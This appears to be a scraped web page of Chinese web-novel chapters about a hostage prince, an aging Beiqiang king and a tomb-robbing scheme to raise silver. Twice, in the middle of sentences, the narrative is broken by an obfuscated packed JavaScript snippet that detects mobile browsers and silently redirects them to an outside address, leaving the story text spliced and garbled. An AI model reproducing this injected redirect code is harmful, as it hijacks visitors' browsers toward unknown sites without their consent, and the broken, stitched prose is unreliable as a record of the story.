好半天,陛下缓缓开口道:“你母亲,四十多天前吞沙自尽了。” 萧照不敢置信,吞沙自尽? 他幼时只在战俘营里看到过这种死法,在那里,酷刑加身,求生不得,求死不能,很多俘虏不堪刑虐,就趁四下无人时,抓起地上的沙子,一把一把吞进口中,以求解脱。 可是,他额吉是喀沁可汗的妻子,是部族地位最高的女子。怎么会沦落到这种求生不得,求死不能的境地,陛下定是在胡说,定是在胡说。 “你可以信,也可以不信,朕只会说一遍。” 萧照忙问道:“额吉她不会寻死的,不会的。” “至少,她总会为了我,好好活下去的,这些年来,她日夜都盼着我回去和她团聚。” “她死之前,得知你父亲在内战中受了重伤,已失去一眼一臂,知晓你父亲此后再也奈何不了你什么了,终于放下了心,在战俘营中平静地吞沙自尽,心中再无牵挂。” 一瞬间,萧照感觉到天旋地转,目眩良久。 这一次,他心里清楚,陛下所说的是真的,如若阿达不是重伤自顾不暇,岂会不在大渊新帝即位朝局更迭这个天大的好时机里,不联合北羌契丹挥刀南下? 他忍不住嚎啕大哭了起来,这眼泪皆是为额吉而流,她活着的时候,疼爱每一个孩子,然后眼睁睁看着亲生骨肉一个接一个战死沙场,她每日以泪洗面,痛不欲生。 唯一一个还活着的小儿子,也早早被送入刀光剑影的京都为质。 她活着的时候眼泪尽是为儿子而流,临死之时还是在为孩子谋划,她这一生,太苦了。 至于阿达,断了一臂,瞎了一眼,他对此丝毫不心疼,他的七个兄长,还有额吉,哪一个死时不比这痛苦百倍。而他们的命运,皆是拜阿达所赐。 “额吉她是不是反了。” “是的,看样子是筹谋了多年。几乎将喀沁所有有反心的族人都笼络到一起了。” “额吉心思细腻,有统帅之才,既然已筹谋多年,定不会失手,谁出卖了她?” “没有,她把一切做得滴水不漏,朕的探子们也是直到开战时才知晓这一切的。” “那场内战,你母亲惨败,你父亲惨胜。喀沁元气大伤,怕是此后数十年都要休养生息,与民更始。” “额吉她都已经是可汗之妻了,为何还要反?她应该知道草原内乱向来都是九死一生。” “为了你,为了喀沁以后的子民,唯有战,方可止战。想改变一国宿命,也唯有血与铁方可做到。” “迄今为止,喀沁的边防已完全转为防御式,喀沁开始闭关锁山,那一战,至少能换来喀沁五十年的休战,而你,也不会再受你父亲和族人胁迫,屡屡陷入绝境,从某种意义上,你母亲想做的都做到了,她并没有输。” 萧照撕心裂肺地哭倒在紫宸殿。 41.斡尔都 北羌,斡尔都 一路风尘仆仆,直到进了斡尔都,永王这才觉得真正置身北羌。 举目四望,黄沙漫天,城中的屋舍全都盖得低低矮矮的,和人一样灰头土脸。 每行百步,便有座碉堡,碉堡是用大石块和破旧瓦片搭成。 没有大漠孤烟直,只有周围北羌人复杂的眼神和箭剑交错的步履踉跄。 没有长河落日圆,只有烈马奔驰,荡尘十丈,狂风呼啸,沙石迷人眼。 到了蛰酒王宫,永王将一把铜剑交给了使者。 那把铜剑绿锈斑斑,剑身上的铭文也变得模糊不清,有几处已被锈蚀成腐坑,就如同老人的烂牙齿。 铜剑交上去不久,那股扑鼻的剑锈味还未完全散去,使者便着急忙慌地请他到主殿。 北羌王要亲自见他。 北羌王是他外祖父的三弟,按北羌人的规矩,他应该唤一声“三达达”。 外组曾说过,三达达骁勇善战,身长七尺,龙行虎步。 只是这次,永王没有见到那位威风凛凛,令汉人胆寒的北羌王。 只见到了一个干瘦如柴,弯腰驼背,一瘸一拐,走路都需要侍者搀扶的“三达达”。 “三达达挺可怜的。”永王在心里对着天上的外祖父说道。 北羌王的手不停地抖着,却紧紧握着那把铜剑,感慨道: “一甲子,整整六十年了。” 六十年,铜剑长满了绿锈,亲兄弟须发尽白,死生不得见。 “三达达,曾孙元鬯,回家了。” 北羌王仔细看了看元鬯,喃喃道:“不像,一点也不像。” 永王不明所以。 “你一定不像你阿尼,要不,就是你阿尼长得不像你达达。” 在北羌人口中,阿达和阿尼是父亲和母亲的意思,达达和尼尼是祖父和祖母的意思。 “我长得像阿尼,阿尼长得像尼尼,不像达达。” “我就说嘛,你长得太像汉人了,一点儿也不像大哥。” 六十年,实在是太漫长了,对于北羌王来说,他已经记不清早年战死沙场的儿女的相貌了,却清晰地记得那位兄长的样子。 当年临别之际,他拼命将兄长的相貌记在心里,并暗暗发誓,不管要等多少年,都不要忘记兄长的样子,日后南下定要寻到兄长,接他回家。 这一记,就是整整一甲子。 北羌王佝偻着背,端详着那把剑,沉默良久。 “这剑可是有问题?”一旁侍者问道。 “没有问题,上面的铭文是我刻的,我认得。” “王上神思凝重,这是何意?” “剑身锈成这样,大哥心里还是记恨着我啊!” 永王解释道:“这把剑埋在土里几十年了,所以锈蚀严重。” “达达临终前特意嘱咐阿尼把它挖出来,那时,他气息奄奄,强撑着一口气将这把剑传到我手上。” “他说,元鬯,我命不久矣,平生罪孽深重,尸骨就留在天葬台。你把这把剑带回斡尔都,那里是我的家,我的根。” “达达让我在这里给他立个剑冢,埋于故土,魂归故里。” 北羌王心痛如绞,不禁抹了几把眼泪。 “这么多年,大哥就没想着偷偷回来?这里那么多人马随时都可接应。” “三达达,其实,达达活着的那些年,有过两次机会能回北羌的。” “一次是有意结识了西域商队,行首有朝廷通关路引,可以混进商队一起回西域。” “还有一次就是您派往大渊的探子找到了他,能带他回去。” “那为何不回来啊?” 北羌王神情激动,又接连问了一串问题。 “为何啊?接应他的队伍都是精锐,他难道不知道阿达临死前迟迟不肯咽气,盼着他归家吗?” “阿达临终前是何等抱憾,何等不甘,嘴里念叨着,儿啊,你一天也没养过我,算了算了,你不来,我就当你死了吧!” “达达直到齿暮时才肯告诉我们。其一,他在中原逃亡,隐姓埋名,为求自保,入赘改姓,娶汉女为妻,深负北羌妻儿,覆水难收,归乡无望。” “其二,兵败中原,片甲不存,深负北羌族人,族人魂无归处,自己却苟且偷生,妻儿美满,再无颜面面对北羌族人。” 北羌王又抹了几把眼泪,沉默良久。 这位铁骨铮铮的北羌王从不在战场上哭,侍者上一次看北羌王落泪还是在十几年前,那一年,北羌突遭寒灾,积雪没胫,不少族人冻死饿死。 “北羌王老了。”侍者在心里感叹着。 “王上,不是咱北羌人的错,要怪,就怪命吧!都是命啊,天命如此,九死一归。” ………… 第二日,北羌王带着元鬯来到了青瓦山下。 北羌王挥一挥手让随行退下。 “元鬯,你来背我上去吧。” “诺。” 元鬯背起北羌王后,北羌王在他耳边说道,“元鬯,你是第一次来北羌吧,好好看看这片土地吧。” 青瓦山并不高,但登高望远足够了。 元鬯行在山路里,山下景色一览无余。 “元鬯,你登过最高的山有多高啊?” “大渊西南境,有一高山,一山分四季,十里不同天,山脚下炙热炎炎,山顶上却冰雪交加,寒气逼人。” “想必那山定是层峦叠嶂,直插云天。” “确实,再也没有比那更高的山了。” “真想去见识见识。” “眼前的江山才是无限江山,三达达,外面的山再高再大,都不如咱自家的山好啊!” “放屁,北羌的山和土,哪里比得上关外的?”北羌王语气中有怒意。 他转头往地上吐了一口痰,嘶哑道“土地?谁对这片土地有感情?” 元鬯不语,自顾自地继续背着北羌王上山。 “自打我当上北羌王以来,我就一遍一遍告诉族人,有朝一日定要,定要带着族人们离开北羌。” “元鬯,你抬头看看,山脚下这片土地,这就是北羌啊,不毛之地。连颗树都没有。” “元鬯,你好不容易回来了,但是三达达还是希望你能带着族人们重回中原,北羌这片土地,它不养人啊。” “元鬯啊,我对北羌这片土地是真没啥感情啊。”北羌王实话实说。 “可是您依然在这里生活了七十多年。”元鬯回答道 “正因为我在这里呆了一辈子,我才要说这些。” “这几十年,我这个北羌王是啥都干了,对的错的,前人有的,后人没的,我都干了。” “我带人试过把石头打碎,把土翻出来,学着汉人种上庄稼。” “我试过挖一座惊天巨坑,雨季时看看能不能存住点水。” “我试过让族人养一批又一批的年猪,鸡,鸭。” “我还试过在山上种些果树……” “为了让族人吃饱,我什么都试过,什么都愿意干,这日子,一晃就六十多年过去了。” 北羌王声音有些哽咽,“我,北羌王,一辈子,一事无成啊!” “元鬯啊,到最后,三达达唯一能传给你的,就是这一辈子痛不可言的前车之鉴。” “你不要笑三达达,有时候,失败的教训比成功的更可贵,至少,你和扎维尔不会步三达达后尘了。” 元鬯安慰道“扎维尔是个有血性的好男儿,昨日他说过,他日后一定要南下。” “他还说,最坏的情况不就是像三达达您一样,打一辈子仗,他不怕,哪怕以后要打几百场仗都不怕,只要有一场赢了,就可以永远离开这片苦寒之地了。” 北羌王无奈道:“打赢不难,难的是要守得住打下来的江山,这些事,怕是要你以后来教他了。” “元鬯不敢。” “我不是在试探你,是说掏心窝子话。” “这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231095|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,北羌人在这片土地上付出太多了,一亩地一亩血汗,已经付出了太多太多,年月,人力,物力……” “可最后得到的却是很少,真的很少很少,游牧人想做农耕人本就是逆天而行,哪怕付出所有代价,也毫无办法。” “花了十分的代价,最后也得不到一分果子,就是在熬时间,但谁能熬过长生天呢?” “我是真恨这片地方,完全没办法,在这里,我们只能做马背上的人。” “马背上的人,每到冬天,就要饿死一批人,时不时还有旱灾,寒灾,雪灾,冰灾,到那时候,能吃的就剩一些野狼啃剩的烂羊骨了。” “不想饿死冻死,我们就得骑马打仗,抢汉人的衣服穿,抢汉人的粮食吃,抢汉人的土地放牧。” “你达达就是那次南下,兵败逃亡,一去不归。” “在草原里养了一整年的牛羊,还不如南下一趟吃得饱喝得足,可实际上,真挥刀南下了,又有几个人活着回来呢?”北羌王感慨道。 “汉人不会打仗,可他们人多啊,一对一他们自然不是北羌男儿的对手,但他们会拿十个人去拼咱一个人,甚至不惜拿一百条人命去拼咱的一个勇士。” “所以,你达达那场仗,必败无疑,三千铁骑,对汉人的五万兵马,那是一场必死之局。” “他出发前,我就知道,大哥回不来了。” 元鬯惊呼:“原来你早就知道汉人有五万兵马在那守着,你当年为何要骗达达说只有一万呢?” “那一年,北羌刚经历一场大雪灾,牲畜十毙□□,活下来的牲畜根本不够一半族人的口粮。” “所以你就让达达带着三千族人去前线活生生送死,好让剩下的族人吃饱?”元鬯不敢置信。 北羌王嘶吼道:“天寒地冻,粮少人多,若不牺牲一部分族人,我北羌人定会沦落到‘人相食’的地步。” “你听着,北羌男儿只能战死沙场,只能马革裹尸,但永远不能被同族蚕食,更不能易子而食。” 又像是在说服自己,北羌王补充道:“那三千骑兵,皆是精锐,各个皆能以一当十,倘若,万一呢?万一他们以少胜多,胜了呢?” “汉人历史上以少胜多,以弱胜强的例子还少吗?凭什么他们可以,我北羌人做不到?” “不入虎穴,焉得虎子?不背水一战,怎知鹿死谁手,当年的事,我错了,但我不后悔。” “九泉之下,大哥会理解我的。” 元鬯想起幼时经常见到达达一个人躲在屋子里喝闷酒,他每每想起当年并肩作战的弟兄们,就忍不住喝酒,哭泣不止。 达达没有死在那场南下之役里,却依旧痛苦至死。 恨不当日死,留作今日耻。 元鬯抬头一看,漫山遍野都是坟堆,或许,这里就有达达心心念念了半辈子的兄弟们。 他转而对北羌王说:“三达达,你下令让他们南下送死前,至少也应该让他们吃顿饱饭再走啊!” 北羌王不解。 “很多年来,达达总是噩梦缠身,当年的兄弟们一个一个托梦给达达。” “在梦里,他们总说,大将军,饿着肚子投不了胎,想回家吃顿饱饭再走。” “大将军,你什么时候带我们回家?你不是答应过同生共死,会带我们平安回去吗?” “大将军,你在阳间好端端活着,你心安吗?” “大将军,我们全军覆没了,谁来照顾我们的老婆孩子?” 北羌王闻言嚎啕大哭,在元鬯的肩头哭湿一片。 元鬯继续背着北羌王前行,一路上,山风凛冽,刮在人脸上,像刀子,像咒骂。 北羌王将那把铜剑握在手里,一路上,剑身依旧寒凉似铁,暖不热。 风吹起时,周遭一股绿锈味,和山间草木混在一起,竟有几分似‘血’的味道。 元鬯心道:“天道很公平,什么样的人就该配什么样的土地,互相折磨,互相征服,至死方休。” 42.破墓 青瓦山顶处有一白骨塔,北羌王和元鬯将那把铜剑放了进去。 塔里存放的都是北羌这些年来战死沙场的无主尸骨。 人骨堆得十分凌乱,元鬯在最外面看到了一些明显小几寸的头骨和胫骨。 或许这些人战死时也就十来岁吧! 之所以放在最外面,大抵是等他们的父母来寻。 可放了那么多年,还是无名之骨。 或许,他们的父母比他们更早战死了。 将铜剑置于白骨塔之上,这是北羌王的意思。 北羌王说,待他百年之后,也要将尸骨放入白骨塔内,届时一并焚化。 大家白骨相融,哪怕到了阴曹地府,也不会是孤魂野鬼。 我北羌勇士,生生世世都是兄弟手足,一族之人。 元鬯听到这些,心里只想笑。 塔的中心处,有几处尸骨格外不同,头骨全用厚棉布盖住了。 腕骨上还套着银镯子。 棉布厚厚地缠了一层一层,元鬯不禁想起“一个头两个大”。 “为何那几处头骨要用棉布盖着。” 北羌王似是没听到,更没抬头看一下那几处白骨。 后来元鬯才知晓,棉布盖着的,都是北羌王的儿女们。 可是缠再多的布,就能真的忘记至亲骨肉临死时的惨状了吗? ………… 与此同时,萧照也站在京郊帝陵前,愁容满面。 打仗拼到最后拼的还是钱。 陛下居然让他七日内筹集十万两白银…… 杭映真走了过来,取笑道:“陛下不是让你带着禁军到京郊修缮城墙吗?” “怎么修着修着人都不见了,失心疯了吗,你还修到帝陵里了。” “我的人,来了自然是要先拜拜大渊历代先帝,再干正事。” 杭映真像看着傻子一样看着萧照:“现在可是白天啊!这要是被人看到,你十个脑袋都不够砍。” “无妨,地面之上,只我一人,地面之下,暗流涌动,大家心照不宣,何必要说破呢?” “大渊帝陵可都是用大理产花石,贞固之材,可承千钧之重,你的禁军,怕是挖不动吧!” “怎么,杭姑娘有办法了?” 杭映真掏出一张纸,递给了萧照。 萧照一看,全是陌生人名及其本事。 ”这上面的人都颇通盗墓之术,你把他们提出来,必定事半功倍。” “代价呢?杭姑娘不会无缘无故帮萧某的。” “自然是陵里的一些宝贝。那本就是从我先祖家中抄出来的,如今自然是要完璧归赵。” “哪几件?” “翠玉屏风,青瓷无纹水仙盆,牡丹漆盒,连云纹玉如意,端石七星砚。” “成交,但是宝物重见天日后,你要帮我联络世家巨贾将它转手出去。” “一言为定。” 见杭映真走后,萧照环顾四周,确认无人后,鬼鬼祟祟地来到一处暗门里。 一路沿阶进入地下,就有学生立刻迎了上去。 “先生,这墓坑完全挖不穿撬不动,我等是不是挖错方位了?” 萧照大声提醒道:“记住,你们现在的身份是京都禁军,我们彼此不许再以师生相称,人前人后都要唤我萧副统领。” “是,萧副统领。” “还需多少人手。” “若图纸不假,以目前的进度来算,大约还需一个月。若强行七日内挖穿,怕是要多派五千人。” 萧照蹙眉,将那份名单拿了出来,“这里面的人都是颇通此术的,嗯,才俊。” “你们穿上禁军的五色介胄,青铜面具去大理寺狱,以修缮城墙增补人手的名义将他们提出来。” 学生接过名单,颇有为难之象。 “怎么,大理寺狱,你们不熟悉?” “熟悉,熟悉,都进去过好几回了。”下面的人停下手中活计附和。 “那怎么还不动身?” “先生,我等本就是草寇,这穿上禁军的衣服,它也不像是禁军啊,万一大理寺狱的熟人们认出我等,那岂不就是原地拿下,全军覆没了吗?” 萧照看了他们一眼,淡淡道:“你们在学宫待了那么多日,早已脱胎换骨了。处事和手段也大有不同,甚至,连面相都,有些许变好了,放心,不会有人能有这般眼力将你们认出来。” “那我们这一身文人气息,真的像禁军吗?” 萧照欲言又止,想了想,还是委婉道“尔等只需将杀气收敛收敛,足以像禁军了。” 等到学生们去提人时,萧照心里也在不停打鼓。 那几个死囚,靠谱吗? 要是有本事的话,还会被朝廷抓到吗? 可要是没什么真本事,怎么会被判秋后问斩? 没本事的人最多关几年就出来了。 人提过来了,学生们还特意割了三十斤猪头肉,二十斤牛肉,二十斤豆腐,又买了五碟花生米,一盘萝卜干,七坛好酒,招待这七位“青年才俊”。 结果,人一到,吃饱喝足后,就,就,呼呼大睡起来了,怎么叫都不醒。 萧照忍了。 夜半时分,众人困意袭来,这七位兄弟反而睡到自然醒了,纷纷起来干活。 说是七人干活,实则只有六人进去,剩下一人坐在外面,守着刚挖好的洞口,不让萧照一行人进去。 “这是我等吃饭的本事,只能传于子孙后代,其他人,密不外传。” 说完,那壮士便抚着古琴席地而弹。 低音弦动,似松下听风,苍茫浑厚,掩盖了里面传来的“邦邦邦”和“哐哐哐”。 越弹越行云流水,甚至听不出里面的人是用什么工具敲击巨石。 萧照发现,他每首曲子都只弹一炷香时间,曲罢,里面的人就都会出来喝喝茶,歇一歇。 弹琴之人笑着解释道:“人世间最好的结局便是曲终人散。” 萧照心里嘲道,一个盗墓的在这装什么风雅,我看你是掐好时间用琴音告诉他们该上来换换气,免得闷死在里面了。 天快亮了,琴音未断,里面的六人却突然出来了,对着弹琴之人悄悄耳语了一番。 不一会儿,六人守在洞口,那弹琴之人肩搭黑布包袱,带好一众家伙什,往洞口走了进去。 六人则在脚上戴着铃铛,站成六角,不往洞内看。 萧照看得是目瞪口呆,合着这手艺,你们兄弟之间还彼此防着啊!!! 善弹琴的那人时不时进进出出,时间不固定,但每次出来都满头大汗,气喘吁吁,连饮几壶茶。 六人不动,不视,不助,反而盯着萧照一行人,不让他们进去。 辰中,弹琴之人走出洞口,告诉萧照已挖通一处帝陵。 萧照正欲带人进去,却被男人给拦住了。 “一入帝陵,遍地至宝,我劝诸位还是解衣赤身再下去吧。” 萧照不明所以。 “前事之师,我们这一行,多少先祖们因坐地分赃而起纷争,藏古玩于衣袖,秘密带出的事太多了,最后都变成了明争暗斗,手足相残。” “大人,至人无己,若你还想要你的兵的话,就永远不要试探人心。” 萧照想了想,帝陵里的宝物各个价值连城,若是他们趁人不备顺手牵羊几件小物,足以飞黄腾达,半生无忧,如此下去,军心必乱。 就这样,萧照一行人赤身裸体爬进盗坑。 盗墓七子中一人点起帝陵沿路的青铜朱雀灯,大家纷纷凑上去观看。 整个帝陵修得气势恢宏,壁画上是山河万里,穹顶仿造日月星辰雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256037|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻而成。 工料考究,墓道如迷宫却丝毫不逼仄,玄宫四壁屹立,让人感觉到扑面而来的皇家气派。 尤其是烛火晦暗,萧照几乎有一种错觉,彷佛墓室里的主人只是短暂地在此小憩一晚。 等待天晓之后,皇帝和后宫嫔妃便会在此宴饮作乐,继续歌舞升平。 萧照顾不上欣赏墓室结构,只是一味地拾级而下,来到了主墓。 主墓四周存放着数百大而厚的樟木箱子,皆落上了锁。 “这是谁的墓?” “回大人,是先帝的墓。陈设用料都是新的。” “打开箱子,把值钱的都搬走。” “遵命。” 七子中的一子将头上的细簪取下,放入口中使劲嗦了几口。 正当众人都以为他要吞簪入腹时,他旋即又将细簪取出。 从口中取出之时,簪子明显弯了几分。 此子用弯簪将锁打开,突然倒吸一口凉气。 “怎么了,瞧着什么惊天大宝贝了。”其余六子满脸期待。 萧照也急着上前查看,一时哑然。 箱子里是空的,空的,空的…… 萧照气得想翻白眼。 善开锁的那子似是不信邪,接连又开了几十个箱子,却发现,每个箱子都是空的。 萧照咬牙切齿道:“帝陵里埋着那么多帝王,为什么偏偏要先挖这个?” “这个建得最偷工减料,最好挖,我等肯定是要先打通这个。”七子委屈道。 “再说,我们兄弟几个也不知道当今圣上这么,这么孝顺啊?一件陪葬品都没有。” “是啊是啊,寻常百姓再不济,也要埋几个铜板,半筐鸡蛋啥的陪葬,没想到,这皇家还不如咱老百姓舍得。” “行了行了,继续挖吧。” 七子犹疑,“大人,接下来咱应该挖哪一个?” “按顺序来说,先帝的先帝那个离这里最近,要不先挖哪个?”一人试探问道。 “先帝也不是啥好人,估计也不舍得给他老子留什么宝贝。” “那该先挖哪个,大渊最好的皇帝不就是当今圣上吗?可是你看,这里不还是空空荡荡吗?” 七子争论不休,彷佛比萧照还不愿意干白工。 最后,萧照一锤定音,“先挖太祖,再挖太宗的。倒着来,最后再挖你们说的那个先帝的先帝。” 上去之前,七子嘱咐萧照一行人,在陵外烧上几炷香,摆好贡品,拜一拜摸金校尉祖师爷们,保佑此行满载而归。 七子素日盗墓都会先沐浴焚香拜祭祖师爷,唯独这次没拜,就遭遇了这一生唯一一次的大扑空。 萧照应允。 上去后环顾四周,大家都赤条条的,衣服还没穿,有几个人就急着将七子白日吃剩的猪头肉和花生米又捡了回来,准备当作贡品。 火烛火纸也是从附近山上野坟里捡别人烧剩的。 东拼西凑,硬生生整出了一个像模像样的祭坛。 萧照恭恭敬敬地拜了拜,心里祈祷,天上的摸金校尉们若是有灵,保佑这次破墓功成,顺顺利利。 许是冥冥之中真有祖师爷庇佑,除了第一个墓空无一物,其他墓室宝物皆堆积如山。 这边七子和“禁军”日夜交替地开挖,那边杭映真到处联络世家豪门。 透露风声说萧照手里有大批古董宝物,价格低廉,质量上乘,欲购从速。 到交货的时候,萧照才真正体会到,这群附庸风雅,视金钱如粪土的世家清流,实在是富得吓死人。 交易地点在江边码头,一船一船的银子从水路运来,只为抢几卷魏晋字画,几箱汉代玉器。 萧照在心里不禁感叹:“陛下啊陛下,你要筹钱何必这么麻烦,一道圣旨下去,抄几个世家大族,还能怕国库空虚吗?” 43.小人物 北羌,斡尔都 认祖归宗是第一大事,北羌王说,人对于故国故土的感情,是生来就有的。 这可不是教出来的,连动物都有这种情感。 元鬯心说:或许本王原就是猪狗不如呢! 一连几天,北羌王带着元鬯将斡尔都来来回回逛了个七八遍。 路上,元鬯突然叫马车停下。 北羌王不明所以,“不就是街边一个醉汉,你管他作甚。” “他是乞儿,面前摆了一个豁口碗,许是饮酒的缘故,没人愿意给他几个铁钱。” 北羌王定睛一看,确实更像是乞儿,不过左手拿着酒壶,瘫躺路边,难免不会让人误会。 更何况,这乞儿怎么看着都才二十出头,长得人高马大,气宇轩昂,一点儿也不像是要饭的。 北羌王顿时就来气了,扶着王仗走下马车,指着乞儿大骂道: “男子汉大丈夫,有手有脚,身强力壮,干什么不好?偏要自甘堕落,一边喝酒一边讨饭?” 乞儿笑道:“我以前是不喝酒的。” 元鬯发现了乞儿的不同之处,“你左手指上的茧,这是常年拉弓的痕迹,你以前是军营里的弓弩手吗?” “陈年旧事,休要再提。”乞儿敷衍道。 北羌王这下又来气了:“是不是贪生怕死,从军中逃了出来,你这个年纪,按理该在军中。来人啊,把他带回去严加审问。” 北羌王的人还未行动,乞儿就已经举起右手了。 让众人惊讶的是,他的右手,如同一滩软泥耷拉着。 这根本不像是人的手,更像是蛇身。 “巫医,快叫巫医来看看。”元鬯对着马车后面的随从叫道。 巫医上前仔细瞧了瞧,摸了摸,最后无奈地摇了摇头,叹了口气。 “掌骨指骨呈藕节断,如冰河碎玉,大王,这孩子的手只怕是药石无医,微臣实在是无力回天。” “治不好了,这只手被马蹄踩过,废了。”乞儿醉醺醺答道。 “这伤是在前线所受的吗?”北羌王急切问道。 乞儿抿了一口酒,点了点头。 “军中难道就没有好好抚恤安置你们吗?” “屁的抚恤,就给了半袋粮食,拿去换酒都不够。” 乞儿又像是想起什么,笑道:“要说真有什么抚恤,大抵就是让咱活着回来了,虽成了废人,混成要饭的了,但总比那些在边境里就地埋骨的兄弟们要好些。” 北羌王心里五味杂陈,吩咐随从将车里的金银细软都拿出来,交给乞儿。 元鬯制止了,说:“他右手已废,已无力自保,您给他金银,反而会给他招来杀身之祸。” “那你说该怎么办?” 接下来发生的一幕,让北羌王一向坚硬的心开始地动山摇了起来。 元鬯用红布将乞儿的右臂严严实实裹了起来,然后用白粉在他右手掌处涂成白色,手指则用墨汁涂成黑色。 乞儿不解。 “你左右晃动一下右臂,试试看。” 乞儿晃动手臂,原本四处耷拉着的断指也随之摇晃起来了。 元鬯感叹道:“成了,已有七成像了。” “像什么?” “像哄婴孩入睡的摇鼓,在中原,也称拨浪鼓,或是货郎鼓。” “有病。”乞儿瞪了元鬯一眼。 “听我说,我不是在折辱于你,我只是在教你如何利用断掌乞讨谋生。” “按我这个法子,虽不能保证顿顿都能吃上饭,但是这般摇鼓乞讨,路过的人总归是不忍心的,多多少少也会给你一口吃的,斡尔都的人再不济,总不会让你们一家饿死的。” 乞儿怒道:“要这样才能活着,那我宁可现在就去死。” 元鬯也是怒其不争,“你死了一了百了,可你父母怎么办?” “难道等他们老了,干不动的时候,就不用躺在街边要饭了?” “你英勇善战,为国出生入死,可你的父母日后怎么办?” “你往生了,去天上做神了,但是你爹娘还在人间受尽屈辱,乞讨度日。” “这条街上多得是要饭的老叟老妪,他们尚且讨不到饭,你一个少年人,谁会可怜你?” “要么,你早死早超生让你爹娘以后上街要饭,要么,你按我的法子讨饭,养活自己一家老小。” “你受屈辱,还是你家老人受屈辱,你自己选吧?” 乞儿似有触动,眼眶红了,半天没说话。 元鬯帮着乞儿吆喝,告诉路人,这乞儿原本是北羌百步穿杨的弓弩手,在前线受了大伤,手残废了,活不下去了,求大家走过路过行行好,给他口吃的。 没一会儿,乞儿爬了起来,跪在地下,伸出右手,在风中摇起了那只“拨浪鼓”。 许是“人手拨浪鼓”的场面太过惊世骇俗,一时间,众人潸然泪下,无不同情,纷纷将家里的吃食盛出一些带来分给乞儿。 元鬯在帮乞儿答谢路人时,偷偷观察北羌王的神色,已知他心如刀绞,决定要再下一剂猛药。 路人给的吃食越来越多,元鬯突然制止了大家。 “够了够了,多谢族人们!切不可多给,街上其他乞丐还没得饭吃,给他这么多,他以后在这条街上是待不下去的。” 街坊四邻心中了然,满大街的要饭的,只给这个可怜人,其他要饭的肯定容不下他,怕是会合起伙来欺负他。 他右手已废,拿什么和那些饿中虎狼去拼。 在北羌,手废了,挽不了弓,降不了马,训不了牛羊,什么体力活都干不了,真算是个活生生的废人。 元鬯看了看街边其他的老乞丐,那些老乞丐正虎视眈眈地望着乞儿。 他给了个眼神,示意他们到这边来。 果不其然,有一个老乞丐冲了进来。 他一路嚷嚷着:“就他可怜吗?就他可怜吗?” “这条街上的要饭的,谁不可怜啊?” “就他当过兵吗?就他受过伤?” “俺们这些老乞丐,比他当兵的时间还长,比他受过的伤还多?” “凭什么给他饭吃,不给我们饭吃?” 老乞丐说着说着便哭嚎起来了,“都是爹生娘养的,我们就不是人了吗?” “在这要了一天饭,你们一个一个看到咱,全当没看到,好不容易来了个贵人,也只去可怜这臭小子,我们就不是人了吗?” “我们当年也是打了一辈子仗,除了一身子伤,啥也没落得,回来啥重活都干不了,现在,连要个饭都不如小子们。” 说着说着,他掀起破旧的袍子,袒露上半身。 北羌王看到他身上全是刀伤和枪伤。 “早知道是这样的光景,当年还不如直接死在那了。” 其他的乞丐也被激起了不满,纷纷围了上来,不停叫嚷着。 “我们也都当过兵,也是好不容易从死人堆里爬回来的,可谁来可怜可怜我们?” “那小子好歹还有爹娘,可我们呢,我们还有谁,我们打了几十年仗,天天就盼着回家。” “结果一回家,家破人亡,婆娘早跑了,孩子也不知道还活着不?家,根本就没家了。” “天道不公,我等还不如一头撞死在这了,省得在这活受罪。” 眼见纷争起,随从们开始拔刀维持秩序。 北羌王急道:“不要动刀,别伤他们,是我对不起他们。” 一时间,北羌王心力交瘁,急火攻心,竟晕了过去。 也不知道谁放出的风声,北羌王私访王都,突染恶病,命悬一线。 第二天,北羌十六部的首领悉数赶到斡尔都,且都带足了兵马。 扎维尔带着北羌王所有的亲信和十六部首领周旋了一天一夜。 局势一度控制不住,扎维尔甚至打算倘若达达这次真撑不住了,也要秘不发丧,先稳住大局再说。 北羌王一病,一日之间,十六部居然分成了两股势力。 一股势力希望 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“王宫一定是出大事了,我得去镇场子。” 元鬯故作惊讶,问道:“三达达,你刚醒,你是如何得知北羌十六部首领都来斡尔都了?” “什么,十六部都来了,坏了坏了,这群老骨头,脾气比牛还倔,更不怕死,扎维尔他们肯定压不住他们。” 元鬯假意宽慰:“三达达,您放心,扎维尔那边还没有来传话请你出山呢!无碍的,您安心在这养病就好了。” “没有消息就是最大的消息了。” “元鬯,你不懂,在战时,要是一切顺顺利利的话,任何消息马上都能传到后方。” “若是进攻受挫,前线陷入僵局,所有探马都将死寂,这个时候,后方绝不会收到什么消息。” “那什么时候才能收到消息?” “等前线打了一场胜仗,能将功赎罪的时候,他们这才敢把消息传到后方。” 巫医听着里面有了动静,急急忙忙跑进来查看。 结果看到北羌王坐了起来正穿着衣服准备要出门。 顿时两眼一黑,“大王,不可啊,万万不可,你刚烧退,不可再着凉了。” “斡尔都出大事了,我再不出去主持大局,怕是羌族会有大祸啊!” “大事,什么大事,哪来的大事?大王是不是做噩梦了?”巫医佯装疑惑。 “到这个时候了,你还敢瞒我,你看看桌子上的,蜂蜜,乳酪,还说不是大事?” “我多少年前就下过令,蛰酒王宫要与边境将士同吃同穿,边境将士吃不到的东西,王宫里也不许有,可你看看现在,王宫里是什么吃食都有了,还不是说明王宫看似有序,实则规章制度早已乱成麻了。” 